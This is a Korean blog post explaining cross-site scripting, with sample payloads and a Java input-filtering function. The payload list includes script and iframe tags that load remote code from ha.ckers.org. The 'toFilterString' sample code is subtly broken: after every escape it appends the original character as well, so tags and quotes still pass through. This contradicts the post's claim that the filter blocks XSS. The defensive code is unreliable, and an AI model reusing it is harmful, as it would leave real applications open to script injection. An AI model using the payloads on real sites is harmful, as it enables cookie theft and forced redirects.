달력

4

« 2024/4 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

출저 : http://cafe.naver.com/junes81/1619



XSS (Cross Site Script)

 

 

 

발생원인은 Cookie , Session 사용, Html TAG 사용 가능, 사용자의 입력값을 Filtering 하지 않아 발생

 

사용자의 입력내용을 포함하는 HTTP요청에 대해 동적으로 HTML을 생성하는 어플리케이션(CGI)이 공격대상이 됩니다.

 

정적인 웹페이지, 즉 일반적인 HTML로 작성된 웹페이지에서는 이 문제는 일어나지 않습니다.

 

보통 게시판에 글을 클릭하거나 자료를 봤을때 다른 페이지로 이동을 하거나 화면이 자동 리플레쉬가 되는 현상

 

이 발생합니다.

 

script 와 암호화 되지 않은 쿠키 정보를 그대로 다른 서버에 가져갑니다.

 

더욱이 피싱사고를 유발 할 수 있죠

 

 

이해를 돕기위해 간단한 예제를 보겠습니다.

 


그림과 같이 텍스트을 입력받는란이 있어 여기에 사용자가 임의의 문자열을 입력한후 "전송하기"버튼을 누르면 사용자의

 

입력한 문자열을 웹페이지에 출력해주는 cgi 프로그램이 있다고 하면 결과는 다음과 같을것입니다. 

 

 

 

화면에서 굵은폰트속성을 나타내는 HTML 태그를 사용하여 "안녕하세요 <B>jakehong</B>님!"이라고 입력해 본다면

 

결과가 어떻게 나올것 같나요?

 

만약 다음과 같은 페이지가 표시된다면 해당 사이트는 XSS의 공격대상이 됩니다.

 

 

 

이렇게 된다면, 입력란에 "<SCRIPT>alert("까꿍!");</SCRIPT>"라고  입력해 보면 아래 그림과 같이 "까꿍!" 이라고

 

써진 다이얼로그박스가 나타납니다.

 

응용해서 악한 마음을 가진 사람들이  <SCRIPT> 를 이용하여 사용자의 쿠키정보나 특정사이트로의 강제 이동등의

 

공격을 가할 수 있습니다.

 
 
--------------------<< XSS 공격유형 >>--------------------
 
<IMG SRC="실행 페이지 OR 실행 EXE 프로그램" >
 
<SCRIPT SRC="http://ha.ckers.org/xss.js" >
 
<iframe src="http://ha.ckers.org/scriptlet.html">
 
외의 SCRIPT를 사용할 수 있는 모든 기능들...

 

* 대처방안-------------------------------------------------------------------------------------

 

1. 중요한 정보는 쿠키에 저장하지 않아야 하며 사용자 식별 같은 부분은 쿠키에 담지 않아야 한다.

 

2. 스크립트 코드에 사용되는 특수 문자에 대한 이해와 정확한 필터링을 해야 한다.

  

가장 효과적인 방법은 사용자가 입력 가능한 문자(예를 들어, 알파벳, 숫자 및 몇 개의 특수문자) 만을 정해 놓고

 

그 문자열이 아닌 경우는 모두 필터링해야 합니다.

 

------------샘플코드------------------------

 

 public static String toFilterString(String in) {

     if(in == null || in.length()<1)
            return in;
     
     StringBuffer out = new StringBuffer();

     for (int i = 0; in != null && i < in.length(); i++) {
            char c = in.charAt(i);       
              if (c == '\'') {
                out.append("");
            } else if (c == '\"') {
                out.append("");
            } else if (c == '<') {
                out.append("&lt;");
            } else if (c == '>') {
                out.append("&gt;");
            } else if (c == '&') {
                out.append("&amp;");
            } else  if (c == '(') {
                out.append("&#40;");
            } else if (c == ')') {
                out.append("&#41;");
            } else {
                out.append(c);
            }
            out.append(c);
        }
        return out.toString();
    }

 

--------------------------------------------

 

이 방법은 추가적인 XSS 취약점에 사용되는 특수 문자를 애초부터 막을 수 있다는 장점이 있습니다.

 

3. 꼭 필요한 경우가 아니라면 게시판에 HTML 포멧의 입력을 사용할 수 없도록 설정합니다.

         

4. 스크립트 대체 및 무효화 javascript라고 들어오는 문자열을 무조건 'x-javascript'와  같이 대체를 하여 스크립트 실행을

 

무효화시키는 방법도 있습니다. -> 이 방법 보다는 < 와 > 기호를 &lt; 와 &gt; 로 치환하는 것이 나을 듯

:
Posted by 라면스프